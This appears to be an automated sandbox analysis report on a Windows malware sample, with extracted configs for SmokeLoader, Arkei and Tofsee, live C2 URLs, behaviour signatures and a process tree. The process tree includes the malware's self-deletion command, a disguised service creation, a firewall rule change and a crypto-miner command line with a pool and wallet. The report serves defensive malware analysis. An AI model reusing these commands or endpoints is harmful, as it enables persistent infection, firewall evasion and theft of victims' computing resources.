Analysis

  • max time kernel
    151s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    15/01/2022, 01:41

General

  • Target
    a4d932b3e26cfcd75ca8f634104529edb514bcfbd1e60f80053e89dcfdb3519f.exe
  • Size 318KB
  • Sample220115-b4a94scbgl
  • SHA256 a4d932b3e26cfcd75ca8f634104529edb514bcfbd1e60f80053e89dcfdb3519f
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://host-data-coin-11.com/

  • http://file-coin-host-12.com/

  • http://srtuiyhuali.at/

  • http://fufuiloirtu.com/

  • http://amogohuigotuli.at/

  • http://novohudosovu.com/

  • http://brutuilionust.com/

  • http://bubushkalioua.com/

  • http://dumuilistrati.at/

  • http://verboliatsiaeeees.com/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family
  • arkei

Botnet
  • Default

C2
  • http://file-file-host4.com/tratata.php

Extracted

Family
  • tofsee

C2
  • patmushta.info

  • parubey.info

Signatures

  • Arkei

    Arkei is an infostealer written in C++.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE Possible Dridex Download URI Struct with no referer

    suricata: ET MALWARE Possible Dridex Download URI Struct with no referer

  • suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

    suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

  • suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

    suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil

    suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • .NET Reactor proctector 4 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Arkei Stealer Payload 3 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • XMRig Miner Payload 3 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 18 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 18 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Detects Pyinstaller 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 4 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 9 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a4d932b3e26cfcd75ca8f634104529edb514bcfbd1e60f80053e89dcfdb3519f.exe
    "C:\Users\Admin\AppData\Local\Temp\a4d932b3e26cfcd75ca8f634104529edb514bcfbd1e60f80053e89dcfdb3519f.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2996
    • C:\Users\Admin\AppData\Local\Temp\a4d932b3e26cfcd75ca8f634104529edb514bcfbd1e60f80053e89dcfdb3519f.exe
      "C:\Users\Admin\AppData\Local\Temp\a4d932b3e26cfcd75ca8f634104529edb514bcfbd1e60f80053e89dcfdb3519f.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:3588
  • C:\Users\Admin\AppData\Local\Temp\1597.exe
    C:\Users\Admin\AppData\Local\Temp\1597.exe
    1⤵
    • Executes dropped EXE
    • Checks SCSI registry key(s)
    • Suspicious behavior: MapViewOfSection
    PID:3680
  • C:\Users\Admin\AppData\Local\Temp\1B36.exe
    C:\Users\Admin\AppData\Local\Temp\1B36.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:4004
    • C:\Users\Admin\AppData\Local\Temp\1B36.exe
      C:\Users\Admin\AppData\Local\Temp\1B36.exe
      2⤵
      • Executes dropped EXE
      PID:692
  • C:\Users\Admin\AppData\Local\Temp\2086.exe
    C:\Users\Admin\AppData\Local\Temp\2086.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Checks processor information in registry
    • Suspicious use of WriteProcessMemory
    PID:3456
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\2086.exe" & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2212
      • C:\Windows\SysWOW64\timeout.exe
        timeout /t 5
        3⤵
        • Delays execution with timeout.exe
        PID:1464
  • C:\Users\Admin\AppData\Local\Temp\2450.exe
    C:\Users\Admin\AppData\Local\Temp\2450.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1604
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\qngxrskg\
      2⤵
        PID:3196
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\cadzhpdw.exe" C:\Windows\SysWOW64\qngxrskg\
        2⤵
          PID:2220
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create qngxrskg binPath= "C:\Windows\SysWOW64\qngxrskg\cadzhpdw.exe /d\"C:\Users\Admin\AppData\Local\Temp\2450.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:420
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description qngxrskg "wifi internet conection"
            2⤵
              PID:1204
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start qngxrskg
              2⤵
                PID:2388
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1848
              • C:\Users\Admin\AppData\Local\Temp\2693.exe
                C:\Users\Admin\AppData\Local\Temp\2693.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:1636
                • C:\Users\Admin\AppData\Local\Temp\2693.exe
                  C:\Users\Admin\AppData\Local\Temp\2693.exe
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2056
              • C:\Windows\SysWOW64\qngxrskg\cadzhpdw.exe
                C:\Windows\SysWOW64\qngxrskg\cadzhpdw.exe /d"C:\Users\Admin\AppData\Local\Temp\2450.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:3388
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  PID:2508
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3696
              • C:\Users\Admin\AppData\Local\Temp\8965.exe
                C:\Users\Admin\AppData\Local\Temp\8965.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:3624
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3624 -s 1980
                  2⤵
                  • Accesses Microsoft Outlook profiles
                  • Program crash
                  • outlook_office_path
                  • outlook_win_path
                  PID:3388
              • C:\Users\Admin\AppData\Local\Temp\9359.exe
                C:\Users\Admin\AppData\Local\Temp\9359.exe
                1⤵
                • Executes dropped EXE
                PID:1936
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1936 -s 404
                  2⤵
                  • Program crash
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1916
              • C:\Users\Admin\AppData\Local\Temp\96B5.exe
                C:\Users\Admin\AppData\Local\Temp\96B5.exe
                1⤵
                • Executes dropped EXE
                PID:420
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 420 -s 908
                  2⤵
                  • Suspicious use of NtCreateProcessExOtherParentProcess
                  • Program crash
                  PID:2464
              • C:\Users\Admin\AppData\Local\Temp\9A6F.exe
                C:\Users\Admin\AppData\Local\Temp\9A6F.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                PID:1520
              • C:\Windows\SysWOW64\explorer.exe
                C:\Windows\SysWOW64\explorer.exe
                1⤵
                  PID:3388
                • C:\Users\Admin\AppData\Local\Temp\AB87.exe
                  C:\Users\Admin\AppData\Local\Temp\AB87.exe
                  1⤵
                  • Executes dropped EXE
                  PID:2864
                  • C:\Users\Admin\AppData\Local\Temp\AB87.exe
                    C:\Users\Admin\AppData\Local\Temp\AB87.exe
                    2⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    PID:3044
                • C:\Windows\explorer.exe
                  C:\Windows\explorer.exe
                  1⤵
                    PID:1164
                  • C:\Users\Admin\AppData\Local\Temp\B4C0.exe
                    C:\Users\Admin\AppData\Local\Temp\B4C0.exe
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1736
                  • C:\Users\Admin\AppData\Local\Temp\BE27.exe
                    C:\Users\Admin\AppData\Local\Temp\BE27.exe
                    1⤵
                      PID:3648
                    • C:\Users\Admin\AppData\Local\Temp\D673.exe
                      C:\Users\Admin\AppData\Local\Temp\D673.exe
                      1⤵
                      • Executes dropped EXE
                      • Checks BIOS information in registry
                      • Checks whether UAC is enabled
                      PID:1728
                    • C:\Users\Admin\AppData\Local\Temp\EF1C.exe
                      C:\Users\Admin\AppData\Local\Temp\EF1C.exe
                      1⤵
                      • Executes dropped EXE
                      PID:2216
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -u -p 2216 -s 400
                        2⤵
                        • Executes dropped EXE
                        • Program crash
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3648

                    Network

                          MITRE ATT&CK Enterprise v6

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          memory/420-273-0x0000000003130000-0x00000000031D5000-memory.dmp

                          memory/420-315-0x0000000000400000-0x0000000002BC5000-memory.dmp

                          memory/420-237-0x0000000000400000-0x0000000002BC5000-memory.dmp

                          memory/420-235-0x0000000003070000-0x0000000003130000-memory.dmp

                          memory/420-233-0x0000000002FD0000-0x0000000003070000-memory.dmp

                          memory/420-294-0x0000000000400000-0x0000000002BC5000-memory.dmp

                          memory/420-310-0x0000000000400000-0x0000000002BC5000-memory.dmp

                          memory/420-261-0x0000000000400000-0x0000000002BC5000-memory.dmp

                          memory/1164-251-0x0000000000B60000-0x0000000000B67000-memory.dmp

                          memory/1164-252-0x0000000000B50000-0x0000000000B5C000-memory.dmp

                          memory/1520-227-0x0000000071D00000-0x0000000071D80000-memory.dmp

                          memory/1520-231-0x0000000004D90000-0x0000000004DCE000-memory.dmp

                          memory/1520-239-0x0000000071E70000-0x0000000071EBB000-memory.dmp

                          memory/1520-238-0x0000000004E00000-0x0000000004E4B000-memory.dmp

                          memory/1520-236-0x00000000760D0000-0x0000000077418000-memory.dmp

                          memory/1520-234-0x0000000074F60000-0x00000000754E4000-memory.dmp

                          memory/1520-232-0x0000000004DF0000-0x0000000004DF1000-memory.dmp

                          memory/1520-229-0x0000000004D30000-0x0000000004D42000-memory.dmp

                          memory/1520-230-0x0000000004F10000-0x000000000501A000-memory.dmp

                          memory/1520-228-0x0000000005410000-0x0000000005A16000-memory.dmp

                          memory/1520-226-0x0000000000180000-0x0000000000203000-memory.dmp

                          memory/1520-225-0x0000000000180000-0x0000000000203000-memory.dmp

                          memory/1520-224-0x00000000777C0000-0x00000000778B1000-memory.dmp

                          memory/1520-223-0x00000000745B0000-0x0000000074772000-memory.dmp

                          memory/1520-220-0x0000000000180000-0x0000000000203000-memory.dmp

                          memory/1520-222-0x00000000003E0000-0x00000000003E1000-memory.dmp

                          memory/1520-221-0x0000000000180000-0x0000000000203000-memory.dmp

                          memory/1520-219-0x0000000000830000-0x000000000097A000-memory.dmp

                          memory/1604-148-0x0000000000400000-0x000000000055F000-memory.dmp

                          memory/1604-147-0x0000000000560000-0x000000000060E000-memory.dmp

                          memory/1636-157-0x00000000053A0000-0x00000000053A1000-memory.dmp

                          memory/1636-150-0x0000000000880000-0x000000000090A000-memory.dmp

                          memory/1636-158-0x0000000005190000-0x0000000005191000-memory.dmp

                          memory/1636-155-0x0000000005230000-0x00000000052A6000-memory.dmp

                          memory/1636-163-0x0000000005AD0000-0x0000000005FCE000-memory.dmp

                          memory/1636-149-0x0000000000880000-0x000000000090A000-memory.dmp

                          memory/1636-159-0x0000000005210000-0x000000000522E000-memory.dmp

                          memory/1728-320-0x0000000000400000-0x00000000009FC000-memory.dmp

                          memory/1736-289-0x0000000000D80000-0x0000000000D8C000-memory.dmp

                          memory/1736-293-0x0000000005430000-0x0000000005431000-memory.dmp

                          memory/1736-288-0x0000000000D80000-0x0000000000D8C000-memory.dmp

                          memory/1736-291-0x0000000005630000-0x00000000056C2000-memory.dmp

                          memory/1736-290-0x0000000005A90000-0x0000000005F8E000-memory.dmp

                          memory/1736-292-0x00000000055C0000-0x00000000055CA000-memory.dmp

                          memory/1936-215-0x0000000000BC0000-0x0000000000C20000-memory.dmp

                          memory/2056-192-0x00000000064D0000-0x00000000069CE000-memory.dmp

                          memory/2056-173-0x0000000000400000-0x0000000000420000-memory.dmp

                          memory/2056-177-0x0000000000400000-0x0000000000420000-memory.dmp

                          memory/2056-178-0x0000000000400000-0x0000000000420000-memory.dmp

                          memory/2056-179-0x00000000059C0000-0x0000000005FC6000-memory.dmp

                          memory/2056-180-0x00000000053E0000-0x00000000053F2000-memory.dmp

                          memory/2056-181-0x0000000005510000-0x000000000561A000-memory.dmp

                          memory/2056-182-0x00000000053B0000-0x00000000059B6000-memory.dmp

                          memory/2056-183-0x0000000005480000-0x00000000054BE000-memory.dmp

                          memory/2056-204-0x0000000007590000-0x0000000007ABC000-memory.dmp

                          memory/2056-184-0x00000000054C0000-0x000000000550B000-memory.dmp

                          memory/2056-190-0x00000000057A0000-0x0000000005816000-memory.dmp

                          memory/2056-191-0x00000000058C0000-0x0000000005952000-memory.dmp

                          memory/2056-193-0x00000000058A0000-0x00000000058BE000-memory.dmp

                          memory/2056-194-0x0000000006360000-0x00000000063C6000-memory.dmp

                          memory/2056-201-0x0000000006E90000-0x0000000007052000-memory.dmp

                          memory/2508-169-0x0000000000B30000-0x0000000000B31000-memory.dmp

                          memory/2508-172-0x0000000000C20000-0x0000000000C35000-memory.dmp

                          memory/2508-168-0x0000000000B30000-0x0000000000B31000-memory.dmp

                          memory/2508-166-0x0000000000C20000-0x0000000000C35000-memory.dmp

                          memory/2984-152-0x0000000002EF0000-0x0000000002F06000-memory.dmp

                          memory/2984-119-0x0000000000E60000-0x0000000000E76000-memory.dmp

                          memory/2996-115-0x00000000008BA000-0x00000000008CA000-memory.dmp

                          memory/2996-118-0x0000000000890000-0x0000000000899000-memory.dmp

                          memory/3388-171-0x0000000000400000-0x000000000055F000-memory.dmp

                          memory/3388-170-0x0000000000660000-0x0000000000673000-memory.dmp

                          memory/3388-165-0x00000000008A4000-0x00000000008B5000-memory.dmp

                          memory/3388-248-0x0000000000780000-0x00000000007EB000-memory.dmp

                          memory/3388-246-0x0000000000A00000-0x0000000000A74000-memory.dmp

                          memory/3456-137-0x00000000008C9000-0x00000000008DA000-memory.dmp

                          memory/3456-139-0x0000000000400000-0x0000000000560000-memory.dmp

                          memory/3456-138-0x0000000000790000-0x00000000007AC000-memory.dmp

                          memory/3588-116-0x0000000000400000-0x0000000000409000-memory.dmp

                          memory/3624-206-0x0000000000030000-0x000000000004A000-memory.dmp

                          memory/3624-208-0x0000000004900000-0x0000000004901000-memory.dmp

                          memory/3624-207-0x0000000000030000-0x000000000004A000-memory.dmp

                          memory/3680-132-0x0000000000400000-0x0000000000452000-memory.dmp

                          memory/3680-123-0x0000000000540000-0x0000000000549000-memory.dmp

                          memory/3680-124-0x0000000000550000-0x0000000000559000-memory.dmp

                          memory/3696-195-0x0000000000600000-0x00000000006F1000-memory.dmp

                          memory/3696-200-0x0000000000600000-0x00000000006F1000-memory.dmp

                          memory/4004-128-0x00000000007E9000-0x00000000007FA000-memory.dmp

                          memory/4004-133-0x00000000006A0000-0x00000000007EA000-memory.dmp